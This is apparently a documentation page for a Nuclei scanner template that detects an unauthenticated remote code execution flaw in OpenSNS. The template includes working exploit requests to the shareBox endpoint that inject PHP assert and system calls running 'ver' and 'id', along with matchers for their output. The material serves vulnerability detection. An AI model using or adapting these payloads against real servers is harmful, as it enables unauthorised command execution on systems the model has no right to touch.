OpenSNS - Remote Code Execution
ID: opensns-rce
Severity: critical
Author: gy741
Tags: opensns,rce
Description
Section titled “Description”OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the ‘shareBox’ endpoint.
YAML Source
Section titled “YAML Source”id: opensns-rce
info: name: OpenSNS - Remote Code Execution author: gy741 severity: critical description: | OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 2 tags: opensns,rce
http: - method: GET path: - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)' - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)'
matchers-condition: and matchers: - type: regex part: body regex: - "uid=([0-9(a-z)]+)" - "Microsoft Windows" condition: or
- type: word words: - "/Application/"
- type: status status: - 200# digest: 4b0a004830460221008f559094e70163bcb13d587138f0d1485cbb448786e1e11cec6ddcbb210bfc4c022100fde85334adffb7f4c3b3219b25fd7f753995ba00e914308d72f81640cfa35199:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/opensns-rce.yaml"